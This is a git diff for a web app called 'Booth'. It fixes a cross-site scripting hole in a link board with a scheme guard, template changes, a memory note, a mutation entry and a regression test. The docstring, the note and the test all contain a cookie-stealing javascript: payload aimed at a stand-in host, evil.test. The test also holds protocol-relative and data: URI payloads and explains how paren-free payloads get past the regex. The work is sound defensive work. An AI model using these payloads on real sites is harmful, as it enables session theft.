diff --git a/booth/links.py b/booth/links.py index af2f63f..492a2ff 100644 --- a/booth/links.py +++ b/booth/links.py @@ -60,6 +60,39 @@ def link_entry_id(raw: str) -> str: return hashlib.sha1(raw.strip().encode()).hexdigest()[:8] +def is_safe_href(url: str) -> bool: + """Whether a board URL may be rendered as an `href` at all. + + ⚠ A LIVE VECTOR UNTIL 2026-09-23. Seventeen agent handles append to the + standing board and the operator clicks its rows, and nothing guarded the + scheme: `javascript:document.location='http://evil.test/'+document.cookie` + rendered as a clickable link in the Booth's own origin. Found by design-dev + on the way past R2, in code R2 does not touch. + + ⚠ AND THE OBVIOUS PROBE MISSES IT. `javascript:alert(1)` IS refused — by + the markdown link regex, because the parens break `](...)`. That is an + accident, not a guard, and a paren-free payload sails straight through. Do + not re-test this with a payload that contains brackets. + + `booth_target` already tests the scheme, but for a DIFFERENT question — + which booth a URL names — so it refuses every off-board link too and cannot + serve as this guard. + + NEVER RAISES: a board row is arbitrary agent-written text and a predicate + that raises on one row takes the whole page. + """ + try: + parts = urlsplit((url or "").strip()) + except (ValueError, UnicodeDecodeError): + return False + # Scheme-relative (`//evil.test/x`) parses with an EMPTY scheme and a netloc, + # and navigates off-site while looking like a path. An empty scheme is only + # safe when it is genuinely relative. + if not parts.scheme: + return not parts.netloc + return parts.scheme.lower() in ("http", "https") + + def parse_link_entries(text: str) -> list[dict]: """Rows of the standing link board, newest last (posting order). @@ -79,6 +112,8 @@ def parse_link_entries(text: str) -> list[dict]: "line": i, "desc": (m.group("desc") or "").strip(), "url": (m.group("url") or "").strip(), + # Derived ONCE here; no template decides whether a row is a link. + "safe": is_safe_href(m.group("url") or ""), "who": (m.group("who") or "").strip(), "when": (m.group("when") or "").strip(), }) @@ -109,7 +144,8 @@ def remove_link_entry(board: Path, entry_id: str) -> dict | None: if m: removed = {"id": entry_id, "raw": raw.rstrip("\n"), "desc": (m.group("desc") or "").strip(), - "url": (m.group("url") or "").strip()} + "url": (m.group("url") or "").strip(), + "safe": is_safe_href(m.group("url") or "")} continue kept.append(raw) if removed is None: diff --git a/booth/templates/booth.html b/booth/templates/booth.html index 131f20b..3e08a95 100644 --- a/booth/templates/booth.html +++ b/booth/templates/booth.html @@ -240,7 +240,13 @@ name="entry" value="{{ e.id }}" aria-pressed="{{ 'true' if e.pinned else 'false' }}" title="{{ 'unpin' if e.pinned else 'pin to top' }}">{{ '★' if e.pinned else '☆' }}
- {{ e.desc }} + {% if e.safe %}{{ e.desc }} + {%- else -%} + {# Refused, not hidden: the operator should see that something was posted + and that we would not link it. `is_safe_href` decides, in links.py. #} + {{ e.desc }} + unsafe link refused + {%- endif %}
{{ e.url }}{% if e.dead %} booth is gone{% endif %}
diff --git a/persistent-memory.d/2026-09-23-the-probe-that-nearly-dismissed-a-live-vector.md b/persistent-memory.d/2026-09-23-the-probe-that-nearly-dismissed-a-live-vector.md new file mode 100644 index 0000000..50ef5d6 --- /dev/null +++ b/persistent-memory.d/2026-09-23-the-probe-that-nearly-dismissed-a-live-vector.md @@ -0,0 +1,52 @@ +# The probe that nearly dismissed a live injection vector + +_2026-09-23 · booth_ + +**The standing link board rendered agent-written hrefs with no scheme guard.** +Seventeen handles append to `links.md` and the operator clicks its rows, so +`javascript:document.location='http://evil.test/'+document.cookie` was a +clickable link executing in the Booth's own origin. `//evil.test/x` and +`data:text/html,…` rendered too. + +Found by **design-dev**, in passing, in code his unit does not touch. Fixed the +same hour: `links.py` derives `is_safe_href` once per row, the template links +only when it is true, and a refused row still renders inert and labelled — +the operator should see that something was posted and that we would not link it. + +## ⚠ THE NEAR-MISS IS THE PART WORTH KEEPING + +**We probed with `javascript:alert(1)`, watched it get refused, and almost +closed the finding as already-guarded.** + +It is refused — **by the markdown link regex.** `alert(1)`'s parentheses break +`](...)`, so the row never parses. That is an accident of syntax, not a guard, +and it refuses exactly the payload everybody reaches for first. +`javascript:x=1` walks straight through. + +**Generalise it: a negative result from the most obvious probe is the least +trustworthy kind.** The canonical payload is canonical because it is memorable, +not because it is representative — and a filter that happens to catch the +memorable one looks exactly like a filter that works. The `is_safe_href` +docstring now tells the next person not to re-probe it with anything containing +brackets. + +## The second trap: a guard that answers a different question + +`booth_target` HAS an `http(s)` scheme check (`links.py:236`) and it is NOT this +guard. It answers *which booth does this URL name*, so it refuses every +legitimate off-board link and can never serve as a render-safety test. Reading +the codebase for "is there a scheme check" finds it and stops. + +**Two things that look like the guard were in the way of finding there wasn't +one.** That is what made this survive as long as it did. + +## Shape of the fix, for the next one + +Derived ONCE in `links.py` and carried on the row, not decided in the template — +the same one-resolver discipline U1 states for item facts. A template that +decides safety is a second place for the rule to be wrong. + +`.blurred`'s round-trip weakness (one stripped rel per line, so `" a.png"` can +blur `a.png`) was found in the same pass and is **NOT fixed** — it needs a +format migration and that does not belong in the same hour as a merge. Recorded +in CLAUDE.md beside `.seen`, which was written as JSON for exactly that reason. diff --git a/persistent-memory.md b/persistent-memory.md index 8ed7c26..ea6a9ca 100644 --- a/persistent-memory.md +++ b/persistent-memory.md @@ -199,6 +199,7 @@ _As of 2026-09-22:_ ## Recent decisions +- `[2026-09-23]` ⚠ **The probe that nearly dismissed a live injection vector** — the link board rendered `javascript:` hrefs; READ BEFORE TRUSTING A NEGATIVE RESULT FROM AN OBVIOUS PROBE, and before assuming an existing scheme check is the guard you are looking for → `persistent-memory.d/2026-09-23-the-probe-that-nearly-dismissed-a-live-vector.md` - `[2026-09-23]` ✅ **The bug-hunt panel found six defects and five vacuous falsifiers** — READ BEFORE BUILDING ANY FRAGMENT ANCHOR (browsers match raw before decoded, so both sides must be encoded), and before trusting a well-commented diff's guards → `persistent-memory.d/2026-09-23-the-bug-hunt-panel-and-five-vacuous-falsifiers.md` - `[2026-09-22]` ✅ **v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies** — READ BEFORE DERIVING A VERSION FROM `importlib.metadata` HERE; it reports a different artifact, and `booth/__init__.py` turns out to be stdlib-only → `persistent-memory.d/2026-09-22-v1-staged-as-a-beta-and-a-second-copy-of-the-version.md` - `[2026-09-22]` ✅ **U7 landed — and the number that justified it did not reproduce** — all seven v1 units are in; READ BEFORE TRUSTING A MEASUREMENT INSIDE A CONTRACT, and before assuming a degeneracy guard covers the degeneracy you actually have → `persistent-memory.d/2026-09-22-u7-landed-and-a-table-that-did-not-reproduce.md` diff --git a/tests/mutations/u7_navigation.toml b/tests/mutations/u7_navigation.toml index 168b974..3b1bf02 100644 --- a/tests/mutations/u7_navigation.toml +++ b/tests/mutations/u7_navigation.toml @@ -194,3 +194,12 @@ old = ''' case 'ArrowRight': focus(at < 0 ? fromViewport() : at + 1);''' new = ''' case 'ArrowRight': focus(at + 1);''' + +[[mutation]] +label = "the link board drops its href scheme guard" +file = "booth/links.py" +test = "tests/test_booth.py::test_the_link_board_refuses_to_render_a_script_href" +old = ''' + return parts.scheme.lower() in ("http", "https")''' +new = ''' + return True''' diff --git a/tests/test_booth.py b/tests/test_booth.py index f4afa1b..cf7ff60 100644 --- a/tests/test_booth.py +++ b/tests/test_booth.py @@ -1593,3 +1593,35 @@ def test_the_dur_filter_survives_the_custom_environment(tmp_path): app = create_app(tmp_path, ttl_hours=24, start_sweeper=False) assert app.state.templates.env.filters["dur"](3600) == "1h" + + +def test_the_link_board_refuses_to_render_a_script_href(tmp_path): + """A LIVE INJECTION VECTOR, found by design-dev on the way past R2. + + 17 agent handles append to the standing board and the operator clicks its + rows. `booth_target`'s http(s) check is about WHICH BOOTH a url names, not + about whether an href is safe to render, and nothing guarded the render. + + ⚠ The first check of this nearly dismissed it: `javascript:alert(1)` IS + rejected — by the markdown link regex, because the parens break `](...)`. + That is an accident, not a guard, and a paren-free payload sails through. + + The row still RENDERS, because the operator should see that something was + posted and refused; it just must not be a link.""" + b = tmp_path / "links" + b.mkdir() + b.joinpath("links.md").write_text( + "- [steal it](javascript:document.location='http://evil.test/'+document.cookie)" + " · rogue · 2026-09-23 10:00\n" + "- [protocol relative](//evil.test/x) · rogue · 2026-09-23 10:01\n" + "- [data uri](data:text/html,xss) · rogue · 2026-09-23 10:02\n" + "- [legitimate](https://ok.test/r) · fine · 2026-09-23 10:03\n" + ) + c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False)) + html = c.get("/b/links/").text + + assert 'href="https://ok.test/r"' in html, "a good row must still be a link" + for bad in ("javascript:", "//evil.test/x", "data:text/html"): + assert f'href="{bad}' not in html, f"{bad} rendered as an href" + # refused, not hidden: the operator sees that it was posted + assert "evil.test" in html, "the refused row vanished instead of being shown inert"